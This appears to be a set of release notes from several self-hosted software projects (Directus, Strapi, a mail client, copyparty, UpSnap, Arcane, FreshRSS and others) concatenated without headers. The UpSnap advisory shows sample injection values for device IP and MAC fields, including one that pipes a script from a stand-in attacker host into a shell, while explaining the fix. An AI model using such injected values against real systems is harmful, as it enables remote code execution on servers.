• @directus/utils
  • Added MCP OAuth 2.1 authorization server. MCP clients (like Claude, Codex) can now authenticate via standard OAuth flow with PKCE instead of requiring a manually provisioned static token. Enable with MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)
• @directus/sdk
  • Added JSON filtering, alias and sorting support (#26981 by @br41nslug)
  • Added support for item-less versions @Nitwel (#27397 by @formfcw)
• @directus/specs
  • Added support for the version query parameter in collections @Nitwel (#27397 by @formfcw)
• @directus/visual-editing
  • Redesigned the editable-element overlay with theming, RTL support and improved a11y @formfcw (#27469 by @formfcw)

🐛 Bug Fixes & Optimizations

• @directus/app
  • Added DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)
  • Limited mobile sidebar width so the overlay can be tapped to close it @HZooly (#27437 by @formfcw)
  • Bumped vue-tsc to 3.1.8 (#27437 by @formfcw)
  • Fixed icon alignment in v-divider component @HZooly (#27437 by @formfcw)
  • Fixed v-dialog returning focus to opener instead of an autofocused child on close @formfcw (#27464 by @formfcw)
  • Fixed flow handle button alignment in flow editor @HZooly (#27437 by @formfcw)
  • Shown "Import in background" checkbox only when a file is selected @HZooly (#27437 by @formfcw)
  • Fixed sidebar reopening at minimum size after being collapsed via drag handle @HZooly (#27437 by @formfcw)
  • Fixed vue console warnings related to the comparison modal (#27538 by @formfcw)
  • Fixed misaligned filter editor in search bar @formfcw (#27454 by @formfcw)
  • Changed back button behavior, always navigates one level up @HZooly (#27437 by @formfcw)
  • Fixed repeater interface ignoring per-field translations and $t: keys on sub-field labels, and added a "Field Name Translations" section to the sub-field configuration UI (#27374 by @khanahmad4527)
  • Fixed calendar layout toolbar responsiveness @HZooly (#27437 by @formfcw)
  • Fixed items not being selectable in the collection drawer when the Kanban layout is used while the parent item is opened in a version context @alvarosabu (#27427 by @alvarosabu)
  • Fixed bookmark icon and color not showing in header @formfcw (#27437 by @formfcw)
  • Fixed UI freeze caused by WYSIWYG interface when its non-editable state toggles @formfcw (#27515 by @formfcw)
• @directus/api
  • Fixed registration email verification tokens to use the configured secret fallback when SECRET is missing. (#27406 by @rijkvanzanten)
  • Bumped axios, js-cookie, samlify, systeminformation, simple-git, fast-uri dependencies (#27589 by @br41nslug)
  • Fixed MCP OAuth dynamic client registration defaults and metadata responses. (#27628 by @hanneskuettner)
  • Updated IP blocking (#27606 by @br41nslug)
  • Updated the built-in OpenAI and Anthropic AI model lists to use the latest available API models. (#27602 by @hanneskuettner)
• @directus/constants
  • Added DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)
• @directus/system-data
  • Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)
  • Updated the built-in OpenAI and Anthropic AI model lists to use the latest available API models. (#27602 by @hanneskuettner)
• @directus/types
  • Added AI-powered translations to the translations interface, including glossary, style guide, and configurable default model settings derived from the enabled providers and allowed models. (#26940 by @bryantgillespie)
  • Added JSON filtering, alias and sorting support (#26981 by @br41nslug)
• @directus/utils
  • Added JSON filtering, alias and sorting support (#26981 by @br41nslug)
• @directus/ai
  • Updated the built-in OpenAI and Anthropic AI model lists to use the latest available API models. (#27602 by @hanneskuettner)
• @directus/release-notes-generator
  • Ignored private workspace packages when generating release notes (#27637 by @licitdev)

📦 Published Versions

• @directus/app@16.0.0-rc.0
• @directus/api@36.0.0-rc.0
• @directus/ai@1.3.2-rc.0
• @directus/composables@11.5.0-rc.0
• @directus/constants@14.4.0-rc.0
• create-directus-extension@12.0.0-rc.0
• create-directus-project@13.0.0-rc.0
• @directus/env@6.0.0-rc.0
• @directus/errors@2.4.0-rc.0
• @directus/extensions@4.0.0-rc.0
• @directus/extensions-registry@4.0.0-rc.0
• @directus/extensions-sdk@18.0.0-rc.0
• @directus/format-title@13.0.0-rc.0
• @directus/memory@4.0.0-rc.0
• @directus/pressure@4.0.0-rc.0
• @directus/release-notes-generator@3.0.0-rc.0
• @directus/schema@14.0.0-rc.0
• @directus/schema-builder@1.0.0-rc.0
• @directus/specs@14.0.0-rc.0
• @directus/storage@13.0.0-rc.0
• @directus/storage-driver-azure@13.0.0-rc.0
• @directus/storage-driver-cloudinary@13.0.0-rc.0
• @directus/storage-driver-gcs@13.0.0-rc.0
• @directus/storage-driver-local@13.0.0-rc.0
• @directus/storage-driver-s3@13.0.0-rc.0
• @directus/storage-driver-supabase@4.0.0-rc.0
• @directus/stores@3.0.0-rc.0
• @directus/system-data@4.5.0-rc.0
• @directus/themes@2.0.0-rc.0
• @directus/types@16.0.0-rc.0
• @directus/update-check@14.0.0-rc.0
• @directus/utils@13.5.0-rc.0
• @directus/validation@3.0.0-rc.0
• @directus/visual-editing@2.1.0-rc.0
• @directus/sdk@22.0.0-rc.0

Docker Images

Docker images have been built and pushed:

Docker Hub:

• alexta69/metube:latest
• alexta69/metube:2026.05.29

GitHub Container Registry:

• ghcr.io/alexta69/metube:latest
• ghcr.io/alexta69/metube:2026.05.29

Changes

• fix pnpm upgrade to the correct package age limit (baa72c0)
• review fixes (cf2d2dd)
• fix catch (56c0ad3)
• upgrade dependencies (4478d13)
• fix(ui): drop redundant tooltip on share button (ad92607)
• feat(ui): warn before share + surface failures for large files (6ff364a)
• feat(ui): add iOS Web Share button next to download link (39a8948)
• remove circle and make labels with help text have an underline (f034858)
• make ui more mobile mobile-friendly (e2773db)

1.7.2 (2026-05-28)

Features

• Mail: Scheduled send and send delay (#322)
• Mail: Drag emails out to the file explorer as .eml
• Mail: Import emails from .zip archives
• Mail: "Move to Trash and mark as read" delete action (#323)
• Mail: Include group inboxes in the unified mailbox view (#328)
• Mail: Locale-aware date format in the email list with a preset picker (#331)
• Mail: Allow drag-and-drop into shared mailboxes
• Composer: Ctrl/Cmd+Enter sends the open draft
• Settings: New Downloads tab with template editor for .eml and attachment filenames
• Settings: Filename transform settings and an ASCII-only "date (from-to) subject" template
• Settings: Post-export action (keep / archive / trash)
• Settings: Template for multi-email .zip filenames
• Admin: Per-domain branding editor with overrides on /api/config, manifest, and PWA icon (#332)
• Admin: Policy-controlled push relay URL with optional user lock
• i18n: NEXT_PUBLIC_DEFAULT_LOCALE for fallback UI locale (#243)

Fixes

• Mail: Editable HTML signature in new mail; clean state on every compose entry (#329)
• Mail: Report real upload progress with XHR progress events (#333)
• Mail: Restore blob: in object-src and frame-src CSP for PDF/HTML previews
• Mail: Match user-avatar treatment on quick reply
• Email viewer: Stop shattering table cells with word-break: break-word
• Composer: Scope Ctrl/Cmd+Enter send to the focused composer
• Composer: Stop closing the form when editing any field
• Pro: Keep the empty viewer pane visible in the split layout
• Pro: Prevent an empty main pane when reordering tabs across panes
• Mobile: Collapse focus mail layout to multi-line
• Mobile: Keep a gutter on bare-HTML and plain-text emails
• Calendar: Align continued multi-week events with the week's left edge
• Calendar: Show the end date in the event popover for multi-day events (#318)
• Calendar: Convert recurrenceRules to singular in batch create
• Calendar: Handle malformed event dates (#316)
• Files: Stop URL-encoding drag-out filenames and preserve Unicode letters
• Routing: Prefix remaining <img>, favicon, and WebDAV URLs with basePath (#319)
• Routing: Prefix hand-written URLs with basePath for subpath deployments
• Auth: OAUTH_ALLOW_PRIVATE_ENDPOINTS for split-DNS setups

i18n

• Add missing translation keys across 16 locales

Links

• Release video overview
• Update instructions
• Update details on blog

Upgrade Notices

• Folder Permissions - Due to some changes in how fonts are used for exports, after updating you may need to ensure that the storage/fonts folder (and all folders within that) are accessible & writable by the web-server. If you start seeing errors on PDF export after updating, it's likely this issue. See this page for guidance on setting permissions.
• Revision Access - Revision access & visibility is now controlled separately to pages. In some cases, after upgrading, users may no longer be able to access revisions by default (for example, where users had access to view page content but had no role-level view permissions).

Full List of Changes

• Added page contents view to page editor. (#6131, #4218)
• Added API endpoints for browsing tags. (#6095, #5835)
• Added custom font load handling for default PDF renderer. (#6109, #148, #719, #5770)
• Added in-UI option to reset user multi-factor authentication methods. Thanks to @clauvaldez. (#6056)
• Added hints to sort rule selection alongside empty lists. (#5967)
• Added specific permission for revision viewing. (#6108, #4526)
• Added new image and CSS CSP controls. Thanks to @Zhey-on. (#6071, #6033)
• Added Thai language support. (#6105)
• Updated codebase to meet PHPStan Level 4. (#6085)
• Updated comment/description WYSIWYG editor to support inline code. (#6100, #6003)
• Updated HTML to plain text conversion handling. (#6083)
• Updated image upload handling to validate referenced page. (#6126)
• Updated JavaScript packages. (#6090)
• Updated module install command with usability improvements. (#6094, #6066)
• Updated new WYSIWYG editor with a range of fixes. (#6119, #5631)
• Updated translations with latest Crowdin changes. (#6084)
• Fixed misaligned link attachment validation rules. (#6093)
• Fixed non-ascii character issues in headers on PDF exports. Thanks to @alexwoo-awso. (#6069, #6107)

5.47.0 (2026-05-28)

🚀 New feature

• BETA: MCP server (#26371)
• publicationFilter param in REST and document service (#25793)
• admin-tokens: remove adminTokens future flag (#26391)
• admin: add documentation helper link in HeaderLayout (#26422)

🔥 Bug fix

• Relation Search in Nested Components (#26023)
• unable to access content manager page with required and private … (#24101)
• admin: gate expiresIn deprecation on user auth options (#26298)
• admin: redirect active tab to login on session expiry (#26165)
• admin: avoid serving extensionless admin paths as static files (#26368)
• content-manager: content history crash on deleted relations (#26245)
• core: preserve createdBy/updatedBy on drafts created by discard-drafts migration (#26461)
• core/core: codeBlockValidator uses language instead of syntax (#26392)
• graphql: inherit publicationFilter into populated relations (#26400)

⚙️ Chore

• dedupe yarn.lock file (#26376)
• fix dependabot cooldown config for github-actions (#26438)
• ci: improve dependabot security grouping and version update policy (#26408)
• commitlint: disable body-max-line-length rule (#26406)
• deps: bump simple-git from 3.32.3 to 3.36.0 (#26220)
• deps: bump sanitize-html from 2.13.0 to 2.17.4 (#26342)
• deps: bump ws from 8.17.1 to 8.20.1 in @strapi/data-transfer (#26379)
• examples: remove sdk-plugin from todo-example plugin (#26341)
• strapi: upgrade webpack ecosystem dependencies (#26385)

💅 Enhancement

• db: migration performance improvements (#25988)
• provider-amazon-ses: replace node-ses with AWS SDK SESClient (#26054)
• i18n: update and create Slovak translations (#25831)

❤️ Thank You

• Adrien L @Adzouz
• Andrei L @unrevised6419
• Arav Menon @Arav-Menon
• bartsmartshore @bartsmartshore
• Bassel Kanso @Bassel17
• Ben Irvin @innerdvations
• Dhruv Chheda @chhedadhruv
• DMehaffy @derrickmehaffy
• Filip Ónodi @fonodi
• Nico André @nclsndr
• Sjouke de Vries @sjoukedv
• Vishal Kumar Singh @singhvishalkr

• read-only demo server at https://a.ocv.me/pub/demo/
• docker image ╱ similar software ╱ client testbed

there is a discord server with an @everyone in case of future important updates, such as vulnerabilities (most recently 2026-03-08)

recent important news

• v1.20.9 (2026-02-25) fixed CVE-2026-27948 (XSS)

🧪 new features

• #1463 opds: improved compatibility with various clients (thx @kamaeff!) 9068ec6
• #1485 users with read-access can now create get-only shares (thx @Scotsguy!) 0bb80e9
• #1466 support the s6 service notification protocol (thx @mobin-2008!) 8c201b8 ca40647
• download-as-zip/tar: the toplevel folder can be renamed with url-param &name=foo or entirely removed with &name cc5420a
• #1487 option to generate music spectrograms with logarithmic frequency scale (thx @9hax!) 83dc20f
• option to set custom name/path for ffmpeg/ffprobe binaries 5e806ec
• #1489 audio playback of mka files

🩹 bugfixes

• #1480 #1482 fix get-only shares not expiring if the creator is removed (thx @celinke97 and @Scotsguy!) 3b53a22
• #1474 toggling between cropped/fullsize coverart for music didn't work 926c6e8
• #1470 files from the year 30828 would break file listing 27031f7
• #1494 fix js-crash when dragging a pic from the gallery out of the browser (thx @icxes!) 7d81b9e
• "fancy markdown editor" didn't work on phones 6183540
• improve signal handling f4f97b6
  • if I messed something up then --sig-thr or send 7x sigterm

🔧 other changes

• docker: the arm32 build of the iv image has graduated 6e75faa
  • copyparty/iv is now only available for i386 / x86_64 / aarch64
• docker: rawpy is no longer bundled; now using libraw directly 348b4bb
  • creating thumbnails of .raw photos is now MUCH slower but quality is also much better
• partyfuse: switch to mfusepy; adds fuse3 support and improves performance b2401ff
• additional advisory tiers for use with the vulnerability-checker 4e9ad78
• clarify behavior of xvol regarding permissions e327183
• packaging/docs:
  • #1479 freebsd: fix deps in rc.d (thx @Kansattica!) f432ef6
  • #1458 macos docs (thx @ilotoki0804!) d7eb556

🌠 fun facts

• there will be a tiny handful of copyparty stickers at dokomi this weekend

💾 what to download?

• except for u2c.exe, all of the options above are mostly equivalent
• the zip and tar.gz files below are just source code
• python packages are available at PyPI

New Setup Process

GHSA-w4jr-728f-5jhq

What changed

The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.

Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.

Why this was necessary

In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.

By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.

RCE via Device IP and MAC Address Injection

GHSA-6mc7-6948-w5h4

What was the issue

UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.

In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:

IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id

When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.

What was fixed

1. Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.

2. Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.

3. HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.

Who is affected

Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.

Changelog

Bug fixes

• 74633e7: fix: use token based superuser setup (@seriousm4x)
• 43f3f65: fix: validate ip and mac addresses to prevent RCE (@seriousm4x)

Others

• dfaf0ee: build(deps-dev): bump @sveltejs/kit from 2.59.1 to 2.60.1 in /frontend (@dependabot[bot])
• 8b08585: build(deps-dev): bump svelte from 5.55.5 to 5.55.7 in /frontend (@dependabot[bot])
• 92f9e29: update deps (@seriousm4x)

v1.20.15

New features

• Added browser plugin to quickly submit pages from a browser to Part-DB to create parts out of it. As it submits the browser HTML, this allows also for info extraction from pages like ebay, amazon or aliexpress. Plugin is available for Chrome and Firefox
• Added an "unsaved changes" warning, on when a form contains unsaved changes and user tries to navigate away (#1368)
• Changed/Unsaved fields get highlighted with a light blue border in forms
• The discard changes button also now correctly works with rich text editor fields and select fields.

Bug fixes

• Fixed problem with attachment referencing in API (#1370)

Miscellaneous

• Updated dependencies
• Updated translations
• Updated kicad symbols

Full Changelog: v2.11.1...v2.12.0

Bug fixes

• improve environment proxy error handling (#2649 by @kmendell)
• align local BuildKit load/push exporter (#2650 by @kmendell)
• PUID and PGID being set on project subfolder on every startup (#2656 by @kmendell)
• system upgrade doesnt support non unix socket docker hosts (#2651 by @kmendell)
• resizing window discards edits in compose editors (#2719 by @kmendell)
• only validate project name if it has changed (#2720 by @kmendell)
• make Arcane reverse-proxy aware to resolve connection issues (#2717 by @kmendell)
• tolerate undefined typed env vars in GitOps sync (#2721 by @kmendell)
• show all container ip's in list view (#2726 by @kmendell)

Dependencies

• bump pnpm to v11.1.3(fb8f2f5 by @kmendell)
• bump devalue to 5.8.1(2ed772d by @kmendell)
• bump ws to 8.20.1(47c4f81 by @kmendell)
• bump github.com/go-git/go-git/v5 from 5.19.0 to 5.19.1 in /backend in the go_modules group across 1 directory (#2654 by @dependabot[bot])
• bump @sveltejs/kit from 2.58.0 to 2.60.1 in the npm_and_yarn group across 1 directory (#2662 by @dependabot[bot])
• bump github.com/containerd/containerd/v2 from 2.3.0 to 2.3.1 in /backend in the go_modules group across 1 directory (#2663 by @dependabot[bot])
• bump golang.org/x/crypto from 0.51.0 to 0.52.0 in /backend (#2664 by @dependabot[bot])
• bump github.com/docker/cli from 29.5.0+incompatible to 29.5.2+incompatible in /backend (#2666 by @dependabot[bot])
• bump github.com/compose-spec/compose-go/v2 from 2.10.2 to 2.11.0 in /backend (#2665 by @dependabot[bot])
• bump date-fns from 4.1.0 to 4.2.1 (#2675 by @dependabot[bot])
• bump github.com/docker/compose/v5 from 5.1.3 to 5.1.4 in /backend (#2670 by @dependabot[bot])
• bump go.podman.io/image/v5 from 5.39.2 to 5.40.0 in /backend (#2667 by @dependabot[bot])
• bump github.com/compose-spec/compose-go/v2 from 2.10.2 to 2.11.0 in /types (#2668 by @dependabot[bot])
• bump github.com/getarcaneapp/arcane/types from 1.19.1 to 1.19.4 in /cli (#2669 by @dependabot[bot])
• bump marked from 18.0.3 to 18.0.4 (#2679 by @dependabot[bot])
• bump svelte from 5.55.7 to 5.55.9 (#2672 by @dependabot[bot])
• bump @codemirror/autocomplete from 6.20.1 to 6.20.2 (#2673 by @dependabot[bot])
• bump @codemirror/legacy-modes from 6.5.2 to 6.5.3 (#2671 by @dependabot[bot])
• bump pnpm to v11.2.2(74f7ec4 by @kmendell)
• bump react and @types/react (#2682 by @dependabot[bot])
• bump frontend deps(7fe4f34 by @kmendell)
• bump prettier-plugin-svelte from 3.5.2 to 4.0.1(a2fbf3e by @kmendell)
• bump github.com/aws/aws-sdk-go-v2/credentials from 1.19.16 to 1.19.17 in /backend (#2705 by @dependabot[bot])
• bump golang.org/x/net from 0.54.0 to 0.55.0 in /backend (#2696 by @dependabot[bot])
• bump golang from 1.26-trixie to 1.26.3-trixie in /docker (#2708 by @dependabot[bot])
• bump github.com/aws/aws-sdk-go-v2/config from 1.32.17 to 1.32.18 in /backend (#2700 by @dependabot[bot])
• bump golangci/golangci-lint-action from 9 to 9.2.0 (#2714 by @dependabot[bot])
• bump github/codeql-action from 4 to 4.35.5 (#2713 by @dependabot[bot])
• bump @uiw/codemirror-themes from 4.25.9 to 4.25.10 (#2712 by @dependabot[bot])
• bump depot/build-push-action from 1 to 1.17.0 (#2716 by @dependabot[bot])
• bump docker/login-action from 4 to 4.1.0 (#2715 by @dependabot[bot])
• bump react-email from 6.1.1 to 6.2.0 (#2711 by @dependabot[bot])

Other

• run workflows on breaking branches(993d27f by @kmendell)

Full Changelog: v1.19.4...v1.19.5

1.19.5

1.19.5

1.19.5

1.7.1 (2026-05-22)

Features

• Admin: Expose PWA branding fields in the admin Branding tab
• Pro: Hide empty-state placeholder and collapse the viewer pane in Pro mode so the mail list fills the space

Fixes

• Mail: Preserve inline images when replying (#163)
• Filters: Use the canonical INBOX mailbox in Sieve filter paths (#313)
• Mail: Resolve destination account id to the local namespace on cross-account mailbox drop

1.7.0 (2026-05-21)

New: Pro mode (experimental)

Opt-in tabbed multi-pane interface for power users. Open multiple mail, calendar, contacts, and file views side-by-side, drag tabs to reorder or split panes at the edges, and work across all logged-in accounts in one shell, cross-account email moves, a unified inbox with search, account-split calendar/contacts/files sidebars, and a per-account "From" dropdown in the composer. Enable from Settings → Appearance; the proInterface preference is per-device and not synced.

Pro mode is experimental and we need your feedback to shape it. If something feels off, breaks, or is missing, please don't hesitate to open an issue or start a discussion on GitHub!

Breaking Changes

• Plugins: Plugins now run inside a null-origin iframe sandbox and talk to the host over a postMessage RPC bridge. The in-process plugin runtime is gone; the bundled in-tree plugins have been migrated. Third-party plugins built against the old in-process API need to be ported to the sandboxed runtime.
• Plugins: Server-managed bundles must be Ed25519-signed by the host and approved by an admin before they load. The host public key is served from /api/plugin-signing-pubkey and each bundle response carries the signature in the X-Bundle-Signature header. User-uploaded bundles still load unsigned, but managed marketplace and dev-folder bundles do not.
• Plugins: bundleHash is now a full SHA-256 over the bundle. Legacy short hashes are migrated on first load; any out-of-band tooling that pinned the old hash format needs to be updated.

Features

• Pro: Tabbed shell with drag-to-reorder, drag-to-edge to split, side-by-side panes, and pane-aware responsive layout with a scoped sidebar overlay
• Pro: Auto-redirect to the Pro shell when Pro mode is on; proInterface is kept per-device instead of syncing
• Pro: Multi-account mail sidebar with client routing and a per-account mailbox cache
• Pro: Unified mailbox always visible, with full-text search
• Pro: Cross-account email moves
• Pro: Multi-account calendar sidebar split into owned vs shared per account
• Pro: Multi-account contacts and a cross-account file picker
• Pro: Composer From dropdown grouped by account
• Plugins: Per-plugin admin approval workflow with Ed25519 bundle signing verified on load
• Plugins: Marketplace update flow for installed plugins and themes
• Setup: Allow the setup wizard over plain HTTP with a dismissable warning gate
• Setup: Warn when the JMAP URL points at a local-only host
• Account: List and reorder logged-in accounts from settings (#282)
• Mail: Mobile handoff page with JMAP authentication verification for cross-device OAuth
• Mail: Pluggable reply/forward quote header (#295)
• Calendar: Support multiple flexible event reminders (#170)
• Admin: Expose PWA, app identity, and extension directory keys in the JSON config (#312)
• Admin: Surface OAuth scope settings and wire up orphaned admin policy gates

Security

• Plugins: Pin parent origin in the iframe bridge to block cross-frame postMessage
• Plugins: Ignore plugin-supplied target in ui.openExternalUrl to block host-frame hijack
• Plugins: Validate plugin/theme id in marketplace install to block path traversal
• Plugins: Prevent plugin config from leaking to non-admin users
• Admin: Gate admin routes against cross-origin CSRF
• Auth: Bind Stalwart auth context to the credential, not the cookie-claimed username
• Auth: Validate OAuth discovery endpoints against SSRF
• Mail: Tighten HTML sanitization at plain-text email, signature, and i18n render sites
• Mail: Block script-bearing MIME types from inline attachment preview
• Mail: Escape print-window fields and re-sanitize body to block XSS
• S/MIME: Stop persisting passphrases in sessionStorage
• API: Correct regex for valid API POST path validation

Fixes

• Mail: Serialize draft autosave with send to stop replies stalling in Drafts (#303)
• Mail: Omit empty cc/bcc from Email/set so the server does not emit a bare Cc: header (#301)
• Mobile: Allow adding contacts from the mail recipient popover (#306)
• Mobile: Prevent dual-scroll and use full width for mail content
• Mobile: OAuth handoff flow
• Calendar: Scope iCal subscriptions per JMAP account; fix refresh and clear
• Calendar: iCal subscription refresh, rollback, and URL normalization
• Calendar: Show avatars in the calendar/address book sharing menu
• Contacts: Normalize malformed contact photo data URIs (#307)
• Identity: Clear identity signature fields when emptied
• Identity: Show size cap on identity signature fields
• Identity: Allow table-based layouts in the HTML signature sanitizer
• Plugins: Load globals.css and Geist font in the plugin sandbox iframe
• Plugins: Sync plugin slot iframe height with reported content height
• Plugins: Use plugin slot offer snapshots for useSyncExternalStore
• Plugins: Trust the directory version on marketplace install and update
• Filters: Prevent duplication of Bulwark rules with literal braces in values
• Setup: Defer setup wizard HTTP detection to avoid hydration mismatch
• Routing: Anchor unmatched URLs into main so 404 renders
• Routing: Respect server-resolved locale on first visit (#309)
• Routing: Split app into (main)/(sandbox) route groups so the plugin iframe hydrates properly
• Files: Stop parent directory navigation from jumping to root
• Build: Stop pulling node:dns into the client bundle via OAuth discovery
• UI: Toggle recipient popover when clicking the name again
• UI: Remove white halo around photo avatars

i18n

• Add missing translation keys across 16 locales

Security Release

• Update Instructions
• Update details on blog

This is a security release to address a brute-force based vulnerability related to multi-factor authentication, and to update project libraries to help avoid potential vulnerabilities that have been reported in those.

Upgrade is generally advised, but strongly so where multi-factor authentication is used & considered as a critical layer of defense.

Thanks to Stephen O. / Sakusen (Codeberg, Website) for responsibly reporting these issues.

Full List of Changes

• Updated PHP package versions.
• Updated MFA verification routes with rate limiting.

• Milestone

This is bug-fix release for 1.29.0.

Feature highlights✨:

• Accept .txt import of feed URLs in additional to e.g. OPML
• New CLI for automatic periodic SQLite export with retention
• More feed info: last received date, publication date

Bug fixes highlights 🐛:

• Fix cookies with some browsers
• Fix search in shared user queries with empty results

UI highlights 🖼:

• Improve Web browsers compatibility

This release has been made by @Alkarex, @Frenzie, @IEEE-754, @Inverle, @McFev, @ciro-mota, @cweiske, @polybjorn and newcomer @mzl2233

Full changelog:

• Features
  • Accept .txt import of feed URLs in additional to e.g. OPML #8818, #8837
  • New CLI for automatic periodic SQLite export with retention #8819
  • More feed info: last received date, publication date #8799
• Bug fixing
  • Fix cookies with some browsers #8867
  • Fix search in shared user queries with empty results #8863
  • Fix XML errors with loading invalid OPML in lib_opml library #8652, #8853,
    lib_opml#48, lib_opml#51
  • Fix ensure maximum number of feeds also with Dynamic OPML #8832
  • Fix click mark as read #8817
• UI
  • Improve browser compatibility to keep mobile navigation at the bottom #8833
  • Improve support of older/simpler Web browsers/engines such as SeaMonkey #8810,
    #8811, #8813,
  • Improve Swage theme #8842
  • Rename Nord theme to Nord #8805
  • Replace GIF spinner by CSS spinner #8804, #8812
  • Various UI and style improvements: #8800, #8816,
• I18n
  • Improve Brazilian Portuguese #8846
  • Improve Dutch #8868
  • Improve German #8840
  • Improve Polish #8854
  • Improve Russian #8861
  • Improve Traditional Chinese #8849
• Misc.
  • Update dev dependencies #8858, #8864

5.46.1 (2026-05-20)

🔥 Bug fix

• FK violation publishing self-relation parent & child in one release (#26147)
• move session-manager jwt check from register to bootstrap (#25412)
• admin: remove year 2041 limit on date/datetime pickers (#26209)
• content-manager: fix getMainField context for component list/edit configure views (#25509, #26124)
• database: respect nested sort in populate for join-table relations (#26361)
• graphql: inherit publication state for i18n localizations (#22163)
• migrations: guard inverseJoinColumn access in discard-drafts migration (#26331)
• review-workflows: add assignee and review stage to list view filters (#26171)
• review-workflows: message when single stage (#26229)
• upgrade: use pnpm install when project prefers pnpm (#26246)
• upgrade: align scoped @strapi packages in devDependencies (#26248)

⚙️ Chore

• sonarcloud security review (#25949)
• deps: bump ip-address from 10.1.0 to 10.2.0 (#26222)
• deps: bump @protobufjs/utf8 from 1.1.0 to 1.1.1 (#26311)
• deps: bump axios from 1.15.1 to 1.15.2 (#26177)
• deps: bump fast-xml-builder from 1.1.4 to 1.2.0 (#26253)
• deps: bump fast-uri from 3.0.1 to 3.1.2 (#26254)
• eslint: migrate .eslintrc + .eslintignore to .eslintrc.cjs (#26216)

🚨 Security

• deps: upgrade multiple dependencies (#26326)

❤️ Thank You

• Adrien L @Adzouz
• Andrei L @unrevised6419
• Ben Irvin
• Garrett Heaver @garrettheaver
• jmichalec-vl
• Maksim Zhukau @MaksZhukov
• Simen @Eventyret
• Simon Norris @cache-your-dreams
• Westley Marchment

Bug fixes

• block unsafe compose include file reads (#2630 by @kmendell)
• add missing gRPC/ws tunnel commands (#2636 by @kmendell)
• unable to use templates due to 'not found' error (#2634 by @kmendell)
• retry rate limited update checks (#2639 by @kmendell)
• prevent projects from disappearing when projects folder is unreadable (#2641 by @kmendell)
• release notes not populated for manager instance (#2643 by @kmendell)

Other

• publish manager and agent image tags (#2645 by @kmendell)
• use trivy-db mirrors from arcane-tools (#2646 by @kmendell)

Full Changelog: v1.19.3...v1.19.4